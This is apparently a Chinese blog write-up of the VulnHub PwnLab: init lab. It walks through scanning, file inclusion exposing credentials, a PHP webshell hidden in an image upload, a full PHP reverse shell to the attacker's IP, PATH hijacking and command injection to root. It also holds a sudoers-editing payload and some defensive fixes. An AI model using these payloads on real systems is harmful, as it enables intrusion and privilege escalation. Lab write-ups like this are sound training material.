Home
avatar

静静

Day21 PwnLab init靶场WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

官网打开或链接地址下载虚拟镜像:

image-20250724150629285

https://www.vulnhub.com/entry/pwnlab-init,158/

PwnLab是古早的退役机器,通过这个机器的练习,可以认识OSCP入门的基本难度。

信息收集

# 靶机地址
172.168.169.143
# Kali攻击机地址
172.168.169.141

扫描端口

ports=$(sudo nmap -p- --min-rate=5000 -Pn 172.168.169.143 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.143
sudo nmap --script=vuln -p$ports -Pn 172.168.169.143

扫描结果如下:

┌──(kali㉿kali)-[~/Desktop]
└─$ echo $ports
80,111,3306,46298

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 172.168.169.143
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 08:33 EDT
Nmap scan report for 172.168.169.143
Host is up (0.0019s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          46298/tcp   status
|   100024  1          47125/udp   status
|   100024  1          56014/udp6  status
|_  100024  1          59462/tcp6  status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 44
|   Capabilities flags: 63487
|   Some Capabilities: DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, FoundRows, Support41Auth, Speaks41ProtocolOld, LongPassword, ODBCClient, SupportsTransactions, SupportsCompression, InteractiveClient, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, SupportsLoadDataLocal, IgnoreSigpipes, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: r"OEN9pLgCWm>-c0`vRt
|_  Auth Plugin Name: mysql_native_password
46298/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:D8:39:9C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.36 seconds

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo nmap --script=vuln -p$ports -Pn 172.168.169.143
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 08:34 EDT
Nmap scan report for 172.168.169.143
Host is up (0.00098s latency).

PORT      STATE SERVICE
80/tcp    open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure:
|_  Internal IP Leaked: 127.0.1.1
| http-cookie-flags:
|   /login.php:
|     PHPSESSID:
|_      httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.168.169.143
|   Found the following possible CSRF vulnerabilities:
|
|     Path: http://172.168.169.143:80/?page=login
|     Form id: user
|_    Form action:
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
|   /login.php: Possible admin folder
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
|_  /upload/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
111/tcp   open  rpcbind
3306/tcp  open  mysql
46298/tcp open  unknown
MAC Address: 00:0C:29:D8:39:9C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 321.76 seconds

Nmap扫描发现了用户名是user,还有两个子目录/images//upload/,80端口打开是一个网页,提示需要登录,尝试弱密码和sql万能密码都无法登录。

image-20250723203140798

image-20250723203204381

image-20250723204246451

发现主页的链接似乎是有文件包含。

http://172.168.169.143/?page=php://filter/read=convert.base64-encode/resource=login

image-20250723204931336

解码这串base64得到

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
	$luser = $_POST['user'];
	$lpass = base64_encode($_POST['pass']);

	$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
	$stmt->bind_param('ss', $luser, $lpass);

	$stmt->execute();
	$stmt->store_Result();

	if ($stmt->num_rows == 1)
	{
		$_SESSION['user'] = $luser;
		header('Location: ?page=upload');
	}
	else
	{
		echo "Login failed.";
	}
}
else
{
	?>
	<form action="" method="POST">
	<label>Username: </label><input id="user" type="test" name="user"><br />
	<label>Password: </label><input id="pass" type="password" name="pass"><br />
	<input type="submit" name="submit" value="Login">
	</form>
	<?php
}

发现调用了config.php用同样的方法查看这个文件。得到用户名和密码root/H4u%QJ_H99,尝试登录,发现登录失败。

image-20250723205226308

config的源码

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

index的源码

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

同样的方法查看upload的源码

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

Mysql登录获得用户名

回到一开始的Nmap扫描结果发现3306端口是打开的,也就是mysql服务,刚刚config.php的密码也似乎是mysql的密码,不是登录密码。试一下:

mysql -uroot -h 172.168.169.143 -p --ssl

image-20250723210312474

image-20250723210407863

mysql --skip-ssl -u root -p -h 192.168.107.29

image-20250724153251984

设置跳过加密验证或使用数据库连接软件连接成功

image-20250723210836295

image-20250723211130050

查看用户名列表,发现3个用户名和密码,解码base64得到在登录界面可以输入的密码。

userpass
kentSld6WHVCSkpOeQ==JWzXuBJJNy
mikeU0lmZHNURW42SQ==SIfdsTEn6I
kaneaVN2NVltMkdSbw==iSv5Ym2GRo

输入任意组合密码即可登录。

image-20250723211617233

文件上传

上传一个测试文件,发现上传后的文件存放在upload下面。

image-20250723211903983

image-20250723211927764

image-20250723212011128

使用Burp抓包修改上传的请求,从之前的upload.php源码看,只能上传图片文件,就暂时不修改文件名,只测试是否有恶意内容检测,显示上传成功。

image-20250723212407915

POST /?page=upload HTTP/1.1
Host: 172.168.169.143
Content-Length: 319
Cache-Control: max-age=0
Origin: http://172.168.169.143
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vs6B8Q4tsVShuqH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.168.169.143/?page=upload
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=02c1kbpgina1jajknkhkj4d6o0
Connection: keep-alive

------WebKitFormBoundary1vs6B8Q4tsVShuqH
Content-Disposition: form-data; name="file"; filename="pphp.png"
Content-Type: image/png

GIF89a
<?php system($_GET["cmd"]);?>

------WebKitFormBoundary1vs6B8Q4tsVShuqH
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundary1vs6B8Q4tsVShuqH--

image-20250723213120684

利用lang参数来把一句话木马带进来。

image-20250723214922174

image-20250723215721485

反弹Shell

上传一个反弹shell的完整php脚本,然后在lang中请求。

rlwrap nc -lvnp 4777
curl -v --cookie "lang=../upload/c91a703ee9be1019794f2dfe58855fbe.png" http://172.168.169.143/
# 美化
python -c 'import pty;pty.spawn("/bin/bash")'

image-20250723220310370

POST /?page=upload HTTP/1.1
Host: 172.168.169.143
Content-Length: 4354
Cache-Control: max-age=0
Origin: http://172.168.169.143
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1vs6B8Q4tsVShuqH
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.168.169.143/?page=upload
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=02c1kbpgina1jajknkhkj4d6o0
Connection: keep-alive

------WebKitFormBoundary1vs6B8Q4tsVShuqH
Content-Disposition: form-data; name="file"; filename="reverse.png"
Content-Type: image/png

GIF89a

  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '172.168.169.141';  // You have changed this
  $port = 4777;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid == -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 
  

------WebKitFormBoundary1vs6B8Q4tsVShuqH
Content-Disposition: form-data; name="submit"

Upload
------WebKitFormBoundary1vs6B8Q4tsVShuqH--

image-20250724095948666

提权root

路径劫持攻击,kane提权为mike

image-20250724100131815

home文件夹下发现有几个用户名,其中三个正是刚刚mysql中泄露了,猜测终端的用户密码可能和mysql中泄露的密码一样,尝试一下就真的进入了,典型的密码复用问题。

image-20250724100358813

查看密码文件发现,john的用户权限可能更高,因为他的数字是1000,代表他是root之后新建的第一个用户,极有可能是管理员用户。kent用户下面没有特别的文件,kane用户文件夹下有个可执行文件,但是执行提示没找到mike文件夹下的msg.txt文件。Mike用户的密码不是mysql中的那个。

如果是官方靶机,这里就有第一个flag。

image-20250724100839957

而且这个msgmike文件是mike用户给我们的,不是kane用户建立的,具有SUID权限。执行的结果发现:

$ /home/kane/msgmike
cat: /home/mike/msg.txt: No such file or directory
  • 运行msgmike显示错误:尝试调用cat读取/home/mike/msg.txt
  • 关键发现:程序使用相对路径调用系统命令cat,而不是绝对路径”/bin/cat”

思路就是看一下路径劫持提权的相关方法,让mgsmike文件以为cat是我们设置的”cat”而不是系统中的 /bin/cat,巧妙的用msgmike文件执行”cat”的提权命令,提权为mike后再看下一步。

  1. 创建恶意替代文件

    echo '/bin/sh' > cat
    chmod 777 cat
    • 创建名为cat的文件,内容为/bin/sh(启动shell)
    • 赋予完全权限(任何用户可执行)
  2. 劫持PATH环境变量

    export PATH=./:$PATH
    • 将当前目录.添加到PATH变量最前面
    • 优先级规则:系统会优先在当前目录查找可执行文件
  3. 执行SetUID程序

    ./msgmike
    • 运行拥有SetUID权限的msgmike程序(属主为mike)
    • 当程序尝试执行cat命令时:
    • 先在当前目录(./)查找 → 找到恶意cat
    • 执行/bin/sh→ 开启新shell
    • msg.txt找不到就找不到了,都提权成功了,管他找不找得到
  4. 权限升级

    $ id
    uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
    • 新shell以程序所有者(mike)的身份运行
    • 成功从kane提权至mike用户

image-20250724104816214

程序逻辑漏洞,Mike提权为root

image-20250724104958966

mike文件夹下发现一个可执行文件,输入什么输出什么,用strings看一下内容,猜测文件的逻辑是输入的内容存为变量再输出。

image-20250724105203808

但是看文件的逻辑是,获取键入的字符,但是只echo了第一行到/root/messeges.txt中,后续的内容应该是会调用system这个逻辑。所以多输入用分号代表分行,就能输入第二行的提权命令了。

image-20250724105504054

image-20250724105839853

image-20250724110029309


知识点补充

🧠 技术原理详解

1. SetUID程序特性

// msgmike 代码模拟
#include <stdlib.h>
int main() {
    system("cat /home/mike/msg.txt"); 
}
  • msgmike拥有SetUID位:-rwsr-x---
  • 执行时获得文件所有者(mike)的权限

2. Shell命令解析机制

当程序调用system("cat ...")时:

/bin/sh -c "cat ..."
  • Shell按照PATH顺序查找可执行文件
  • PATH顺序:./> /usr/bin> /bin

3. 环境变量攻击链

graph TD
    A[SetUID程序 msgmike] -->|以mike权限运行system| B[调用系统命令 'cat']
    B --> C{Shell 查找 cat 命令}
    C -->|PATH 搜索顺序| D[检查当前目录 .]
    D -->|找到恶意 cat| E[执行 ./cat]
    E -->|内容为 '/bin/sh'| F[启动 shell 进程]
    F -->|继承 mike 权限| G[获得 mike 权限的 shell]
    C -->|PATH 搜索顺序| H[检查 /usr/bin]
    H -->|正常 cat| I[执行系统 cat]
    classDef red fill:#f9d5d5,stroke:#b85450;
    classDef green fill:#d5f9d5,stroke:#50b854;
    class A,B,C,E,F,G red;
    class H,I green;
    style C stroke:#333,stroke-width:2px;

⚠️ 必要条件

  1. SetUID程序:必须存在属主权限更高的可执行文件
  2. 动态命令调用:程序使用相对路径调用系统命令
  3. 文件系统权限:攻击者需有目录写入权限
  4. PATH变量可修改:环境变量未被锁定

🛡️ 防御措施

  1. 编码规范

    // 使用绝对路径代替相对路径
    system("/bin/cat /home/mike/msg.txt");
  2. 降低权限

    setuid(getuid()); // 执行外部命令前放弃特权
  3. 锁定环境

    # 设置安全PATH
    export PATH=/usr/bin:/bin
  4. 文件系统加固

    chmod g-s /home/kane # 移除SetGID位
    chattr +i msgmike   # 锁定文件

程序逻辑分析与还原

🔍 关键字符串线索

  1. Message for root:→ 程序提示用户输入
  2. /bin/echo %s >> /root/messages.txt→ 核心命令模板
  3. fgets, asprintf, system→ 重要函数调用

🧩 程序逻辑还原

#include <stdio.h>
#include <stdlib.h>

int main() {
    // 1. 输出提示信息
    printf("Message for root:");
    
    // 2. 读取用户输入
    char input[256];
    fgets(input, sizeof(input), stdin);
    
    // 3. 格式化系统命令
    char *command = NULL;
    asprintf(&command, "/bin/echo %s >> /root/messages.txt", input);
    
    // 4. 执行系统命令
    system(command);
    
    // 5. 清理内存
    free(command);
    return 0;
}

⚡️ 漏洞点与攻击面分析

  1. 命令注入漏洞 (Command Injection)

    # 利用方式示例
    $ ./msg2root
    Message for root:; whoami >> /root/exploit.txt;
    • 分号;允许添加额外命令
    • 恶意命令以root权限执行
  2. 格式化字符串漏洞 (Format String Vulnerability)

    asprintf(&command, "/bin/echo %s >> ...", input);
    • 无过滤的用户输入直接用于格式化字符串
    • 可能触发内存泄露或任意写入
  3. 路径依赖问题

    • 硬编码使用/bin/echo而非/usr/bin/echo
    • 环境变量PATH可被劫持

🛠️ 实际攻击场景演示

场景1:命令注入获取root shell

$ ./msg2root
Message for root:; /bin/sh; # 

# 实际执行命令
/bin/echo ; /bin/sh; #  >> /root/messages.txt
  1. 注入命令/bin/sh启动shell
  2. #后的内容被注释,避免语法错误
  3. 新shell继承程序的root权限

场景2:写入敏感文件

$ ./msg2root
Message for root:; echo "kane ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; #

# 实际效果
为kane添加无密码sudo权限

🚫 安全漏洞修复建议

修复后代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    printf("Message for root:");
    
    // 安全的输入读取
    char input[256];
    if (!fgets(input, sizeof(input), stdin)) {
        exit(1);
    }
    
    // 移除换行符防止注入
    for (char *p = input; *p; p++) {
        if (*p == '\n') *p = '\0';
    }
    
    // 严格验证输入
    for (char *c = input; *c; c++) {
        if (*c == ';' || *c == '|' || *c == '&') {
            fprintf(stderr, "Illegal character: %c\n", *c);
            exit(1);
        }
    }
    
    // 使用文件IO代替系统命令
    FILE *fp = fopen("/root/messages.txt", "a");
    if (fp) {
        fprintf(fp, "%s\n", input);
        fclose(fp);
    }
    return 0;
}

关键修复措施

  1. 移除命令注入风险

    • 禁用system()
    • 使用文件IO直接写入
  2. 输入过滤

    // 禁止危险字符
    if (strchr(input, ';') || strchr(input, '|') || ...)
  3. 权限最小化

    // 执行前放弃root权限
    setuid(getuid());
  4. 日志审计

    • 记录所有操作

📁 文件权限关键点

  1. 程序必须具有SetUID权限且属于root

    ls -l msg2root
    -rwsr-xr-x 1 root root 16784 Jul 24 10:23 msg2root
  2. /root/messages.txt需要:

    chown root:root /root/messages.txt
    chmod 644 /root/messages.txt

🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

扫描下方二维码,马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

或者直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

渗透测试 OSCP